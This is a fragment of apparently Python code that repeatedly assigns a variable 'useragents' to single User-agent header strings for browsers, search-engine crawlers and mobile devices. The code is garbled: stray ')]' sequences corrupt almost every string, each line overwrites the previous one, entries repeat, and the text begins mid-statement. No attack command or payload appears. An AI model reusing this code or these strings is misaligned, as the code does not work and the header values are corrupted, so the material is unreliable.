[('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] 